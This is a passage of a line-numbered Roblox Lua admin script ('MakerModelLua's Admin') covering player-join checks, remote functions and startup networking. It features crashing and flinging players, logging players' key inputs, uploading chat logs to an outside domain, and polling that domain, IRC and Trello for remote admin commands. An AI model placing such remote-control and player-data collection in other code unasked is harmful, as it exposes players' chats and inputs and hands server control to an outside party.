8868 CORE:Kick(Player)
8869 for _,Person in pairs(Server.Players:GetPlayers()) do
8870 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8871 end
8872 end
8873 end
8874 for _,Name in pairs(Settings.Ranks.Crashed) do
8875 if Player.Name == Name then
8876 CORE:Crash(Player)
8877 for _,Person in pairs(Server.Players:GetPlayers()) do
8878 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8879 end
8880 end
8881 end
8882 for _,Name in pairs(Settings.Ranks.Muted) do
8883 if Player.Name == Name then
8884 GUI:CoreGui(Player, "Chat", false)
8885 for _,Person in pairs(Server.Players:GetPlayers()) do
8886 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8887 end
8888 end
8889 end
8890 if Settings.ServerLocked == true then
8891 if PlayerAdmin == false then
8892 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8893 end
8894 end
8895
8896 if PlayerAdmin == false then
8897 if Player.AccountAge < Settings.MinimumAge then
8898 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8899 for _,Person in pairs(Server.Players:GetPlayers()) do
8900 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8901 end
8902 end
8903 end
8904
8905 if PlayerAdmin == false then
8906 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8907 table.insert(Settings.Ranks["Member"], Player.Name)
8908 PlayerAdmin = true
8909 Rank = "Member"
8910 end
8911 end
8912
8913 coroutine.wrap(function()
8914 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8915 local function SpawnActions(Character)
8916 if Flings[Player.Name] then
8917 CORE:FlingPlayer(Player)
8918 else
8919 GUI:CreateTaskBar(Player)
8920 end
8921 if Beeps[Player.Name] == true then
8922 SOUND:BeepPlayer(Player)
8923 end
8924 if Jails[Player.Name] then
8925 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8926 end
8927 if PermCommandBars[Player.Name] then
8928 GUI:CommandBar(Player)
8929 end
8930 end
8931 Player.CharacterAdded:connect(SpawnActions)
8932 SpawnActions(Player.Character)
8933 end)()
8934
8935 coroutine.wrap(function()
8936 Player:WaitForChild("PlayerGui")
8937 local Sounds = {}
8938 for _,Data in pairs(TextConverter.LetterSounds) do
8939 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8940 Sound:Play()
8941 table.insert(Sounds, Sound)
8942 end
8943 for _,Data in pairs(TextConverter.LongVowels) do
8944 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8945 Sound:Play()
8946 table.insert(Sounds, Sound)
8947 end
8948 wait(5)
8949 for _,Sound in pairs(Sounds) do
8950 Sound:Destroy()
8951 end
8952 Sounds = {}
8953 end)()
8954
8955 coroutine.wrap(function()
8956 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8957 if IsSB then
8958 wait(1)
8959 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8960 end
8961 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8962 print("Executed ClientLog on "..Player.Name)
8963 if Settings.EnableTaskBar then
8964 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8965 end
8966 end)()
8967
8968 coroutine.wrap(function()
8969 wait(7)
8970 Player:WaitForChild("PlayerGui")
8971 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8972 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8973 if Answer == "Ok" then
8974 MARKET:PromptPurchase(Player, AdminID)
8975 end
8976 end
8977 end)()
8978 end
8979end)() end
8980
8981-- Active stuff --
8982
8983CORE:UpdateAdmin()
8984CORE:FixSettings()
8985
8986ypcall(function()
8987 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8988 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8989 end
8990end)
8991
8992
8993Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8994 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8995 if PlayerAdmin == false then
8996 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8997 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8998 end
8999end end)
9000
9001--[[
9002ExecuteCommand.OnInvoke = function(Player, Command)
9003 if Player and Command then
9004 if type(Player) == "userdata" and Player:IsA("Player") then
9005 CORE:Chatted(Command, Player, true)
9006 end
9007 end
9008end
9009
9010ExecuteCode.OnInvoke = function(Source, Speaker)
9011 if type(Source) == "string" then
9012 ExecuteSafe(Source, Speaker)
9013 end
9014end
9015
9016ExecuteCommandClient.OnServerInvoke = function(Player, Command)
9017 if Player and Command then
9018 if type(Player) == "userdata" and Player:IsA("Player") then
9019 CORE:Chatted(Command, Player, true)
9020 end
9021 end
9022end
9023]]
9024
9025KeyPressed.OnServerInvoke = function(Player, Key)
9026 if Player and Key then
9027 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
9028 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
9029 end
9030 end
9031end
9032
9033InputKey.OnServerInvoke = function(Player, KeyVal)
9034 if Player and KeyVal then
9035 if LastKeys[Player.UserId] then
9036 table.insert(LastKeys[Player.UserId], KeyVal)
9037 if #LastKeys[Player.UserId] > 20 then
9038 table.remove(LastKeys[Player.UserId], 1)
9039 end
9040 end
9041 end
9042end
9043
9044RankPlayerLocal.OnServerInvoke = function(Player)
9045 wait()
9046 local Request = PendingRequests[Player]
9047 if Request then
9048 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
9049 if Settings.Ranks[Request[1]] then
9050 PendingRequests[Player] = nil
9051 table.insert(Settings.Ranks[Request[1]], Player.Name)
9052 GUI:TellAdmin(Player)
9053 end
9054 end
9055 end
9056end
9057
9058RankPlayerServer.OnInvoke = function(Player, Rank)
9059 if not RANK:IsAdmin(Player) then
9060 PendingRequests[Player] = {Rank, tick()}
9061 end
9062end
9063
9064IsAdmin.OnServerInvoke = function(Player)
9065 local IsFullAdmin = false
9066 for _,PName in pairs(Settings.Ranks["Owner"]) do
9067 if PName == Player.Name then IsFullAdmin = true end
9068 end
9069 for _,PName in pairs(Settings.Ranks["Admin"]) do
9070 if PName == Player.Name then IsFullAdmin = true end
9071 end
9072 return IsFullAdmin
9073end
9074
9075AddExploit.OnServerInvoke = CORE.AddExploit
9076AddExploitServer.OnInvoke = CORE.AddExploit
9077
9078KickClient.OnServerInvoke = function(PlayerClient)
9079 PlayerClient:Kick()
9080end
9081
9082ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
9083 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
9084end
9085
9086for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
9087Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
9088Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
9089
9090coroutine.wrap(function()
9091 for _,ID in pairs(Icons) do
9092 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
9093 end
9094end)()
9095
9096CORE:SetAbuseCommands()
9097
9098coroutine.wrap(function() SOUND:SyncSoundList() end)()
9099if not IsStudio then coroutine.wrap(function()
9100 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
9101 REMOTE:GetRemoteData(true)
9102 REMOTE:CheckTrelloInfo()
9103 coroutine.wrap(function()
9104 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
9105 REMOTE.RemoteConnection = true
9106 end
9107 end)()
9108 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
9109 coroutine.wrap(function()
9110 if Settings.LinkedAccount ~= "" then
9111 local Request = nil
9112 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
9113 if Request then
9114 REMOTE:HandleRequest(Request, true)
9115 end
9116 end
9117 end)()
9118 coroutine.wrap(function()
9119 wait(RemoteData.RemoteAdminWait)
9120 while REMOTE:GetAndSetWebData() do
9121 wait(RemoteData.RemoteAdminWait)
9122 end
9123 end)()
9124 coroutine.wrap(function()
9125 while wait(60) do
9126 REMOTE:GetRemoteData(true)
9127 REMOTE:CheckTrelloInfo()
9128 end
9129 end)()
9130end)() end
9131coroutine.wrap(function()
9132 if Settings.TrelloToken ~= "" then
9133 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
9134 if #Trello.RequiredLists > 0 then
9135 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
9136 if Trello.MainBoard.name then
9137 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
9138 REMOTE:TrelloCacheData(Lists)
9139 REMOTE:TrelloHandleData(true)
9140 coroutine.wrap(function()
9141 wait(RemoteData.TrelloWait)
9142 while REMOTE:TrelloHandleData() do
9143 wait(RemoteData.TrelloWait)
9144 end
9145 end)()
9146 end
9147 end
9148 else
9149 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
9150 end
9151end)()
9152coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
9153 REMOTE:SendChatLog()
9154end end)()
9155coroutine.wrap(function() while true do
9156 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
9157 if ThisDate then Date = ThisDate end
9158 wait(600)
9159end end)()
9160
9161print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")